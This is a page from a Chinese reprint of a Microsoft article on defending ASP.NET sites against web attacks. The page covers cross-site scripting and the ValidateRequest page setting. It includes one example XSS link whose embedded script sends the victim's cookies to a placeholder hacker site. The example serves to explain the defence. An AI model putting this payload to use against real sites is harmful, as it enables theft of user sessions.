论坛登陆 注册 教程 笑话 影视 投稿
首页 | 页界资讯 | 网络应用 | 软件应用 | 组网技术 | 网络原理 | 聊天通讯 | 网管知识 | 帮助
笑话 | 操作系统 | 注 册 表 | 编程开发 | 数 据 库 | 媒体动画 | 网页设计 | 图形图象 | 地图
论坛 | 网络安全 | 安全防范 | 服 务 器 | 硬件学堂 | 路由技术 | 搜索研究 | 站长经验 | 投稿
影院 | 教育频道 | 特色专题 | 精文荟萃 | 注 册 码 | 论坛社区 | 网站地图 | 广告服务 | 旧版
设为首页 加入收藏
当前位置:首页>>文章>>编程开发>>net专区>>正文

利用ASP.NET 的内置功能抵御 Web 攻击

www.xker.com 作者:Dino Esposito&Wintellect 来源:微软 加入日期:2006-4-7 8:42:57

【问题提问、论坛交流】

七、ValidateRequest

跨站点脚本 (XSS) 对于很多经验丰富的 Web 开发人员来说是老朋友了,它在 1999 年左右就已经出现了简单地说,XSS 利用代码中的漏洞来将黑客的可执行代码引入另一个用户的浏览器会话中如果被执行,注入的代码可以执行多种不同的操作 — 获取 Cookie 并将一个副本上载到黑客控制的 Web 站点,监视用户的 Web 会话并转发数据,修改被黑的页的行为和外观以使其提供错误的信息,甚至使自己变为持续性的,这样用户下一次返回该页时,欺诈代码会再次运行请在 TechNet 文章 Cross-site Scripting Overview 中详细阅读有关 XSS 攻击的基础知识

代码中的哪些漏洞导致 XSS 攻击成为可能?

XSS 利用的是动态生成 HTML 页、但并不验证回显到页的输入的 Web 应用程序这里的输入 是指查询字符串、Cookie 和表单域的内容如果这些内容在未经适当性能检查的情况下出现在网络上,就存在黑客对其进行操作以在客户端浏览器中执行恶意脚本的风险(前面提到的一次单击攻击其实是 XSS 的一种新近变种)典型的 XSS 攻击会导致不抱怀疑的用户点击一条诱惑性链接,而该链接中嵌入了转义的脚本代码欺诈代码将被发送到一个存在漏洞且会毫不怀疑地输出它的页以下是可能发生的情况的一个示例:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=

<script>document.location.replace(

'http://www.hackersite.com/HackerPage.aspx?

Cookie=' + document.cookie);

</script>">Click to claim your prize</a>



用户单击一个看上去明显安全的链接,最终导致将一些脚本代码传递到存在漏洞的页,这些代码首先获取用户计算机上的所有 Cookie,然后将它们发送到黑客的 Web 站点

请务必注意,XSS 不是一个特定于供应商的问题,因此并不一定会利用 Internet Explorer 中的漏洞它影响目前市场上的所有 Web 服务器和浏览器更应注意的是,没有哪一个修补程序能够修复这一问题您完全可以保护自己的页免受 XSS 攻击,方法是应用特定的措施和合理的编码实践此外,请注意,攻击者并不需要用户单击链接就可以发起攻击

要防御 XSS,您必须从根本上确定哪些输入是有效的,然后拒绝所有其他输入您可以在一本书中读到抵御 XSS 攻击的详细检查表,该书在 Microsoft 属于必读范围 — Writing Secure Code,作者是 Michael Howard 和 David LeBlanc特别地,我建议您仔细阅读第 13 章

阻止阴险的 XSS 攻击的主要方法是向您的输入(任何类型的输入数据)添加一个设计合理、有效的验证层例如,某些情况下即使是原本无害的颜色(RGB 三色)也会将不受控制的脚本直接带入页中

在 ASP.NET 1.1 中,@Page 指令上的 ValidateRequest 属性被打开后,将检查以确定用户没有在查询字符串、Cookie 或表单域中发送有潜在危险性的 HTML 标记如果检测到这种情况,将引发异常并中止该请求该属性默认情况下是打开的;您无需进行任何操作就可以得到保护如果您想允许 HTML 标记通过,必须主动禁用该属性

<%@ Page ValidateRequest="false" %>

本新闻共9页,当前在第6页  1  2  3  4  5  6  7  8  9  

编辑:xker.com

上一篇:ASP.NET中如何防范SQL注入式攻击
下一篇:没有了
关闭窗口】【技术交流】【收藏此页
相关文章
·ASP.NET中如何防范SQL注入式攻击·在ASP.NET中访问SQL Server·用ObjectSpaces重建IBuySpy的数据访问
·ASP.NET:访问Excel 电子表格·用ASP.NET在同一网页中显示主从关系表·ASP.NET+MySQL:强势组合
·asp.net 2.0中的URL重写以及urlMappi·ASP.NET 2.0无刷新页面新境界·在ASP.net中使用OWC绘制统计图表
·ASP.NET中Web DataGrid的使用指南·ASP.NET编程中的技巧·几个ASP.NET技巧
·使用反射将业务对象绑定到 ASP.NET 窗·检测含有中文字符串的实际长度·在ASP.Net中两种利用CSS实现多界面的
推荐文章 最新文章 热门文章
·联手杀毒软件 打造无毒迅雷下载文件
·Tomcat 配置技巧精华详解分析
·玩转系统 Window系统补丁知多少
·做好备份 硬盘数据大迁移
·中用也中看 全面打造个性化迅雷下载
·WIN2000下JSP服务器的安装
·Oracl数据库中大数据的备份
·用注册表找回常用软件序列号
·搜索引擎优化的最高境界是忘记搜索引
·全面解析系统剪贴功能资源占用
·在ASP.NET中防止注入攻击
·仅用css编写无限分级弹出菜单
·完整图解Tomcat 5.0.28 安装笔记
·用Java快速开发Linux GUI应用
·妙用Windows磁盘配额 让黑客无从下手
·利用ASP.NET 的内置功能抵御 Web 攻击
·ASP.NET中如何防范SQL注入式攻击
·在ASP.NET中访问SQL Server
·微软承认修改IE失误 将提供兼容补丁
·联手杀毒软件 打造无毒迅雷下载文件
·Tomcat 配置技巧精华详解分析
·安全攻略:突破组策略运行限制的方法
·解读珊瑚虫CoralQQ.ini代码的秘密
·玩转系统 Window系统补丁知多少
·做好备份 硬盘数据大迁移
·Maxthon实用插件之闹钟篇
·为Windows XP设置一个隐形密码
·在多个QQ号码间共享自定义表情的技巧
·用ObjectSpaces重建IBuySpy的数据访问
·ASP.NET:访问Excel 电子表格
·个人简历表格
·免费代理IP(每日更新)
·QQ密码丢失后能做的事情:快速找回密码
·QQ收费头像免费使用的方法 
·Norton AntiVirus 2006 注册码(激活
·系统优化 专题
·WinRAR 3.51 注册码
·豪杰超级解霸V9.1正版注册码
·找回QQ密码的注意事项 
·史上最强QQ个人档案资料欣赏
·Ajax技术开发指南
·QQ空间皮肤代码
·最经典的黑客入门教材
·求职简历封皮
·ACDSee v8.0注册码
评论

设为首页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
Copyright © 2003-2006 xker.com All rights reserved.小新技术网 合作广告QQ:12231446
本页浏览次数: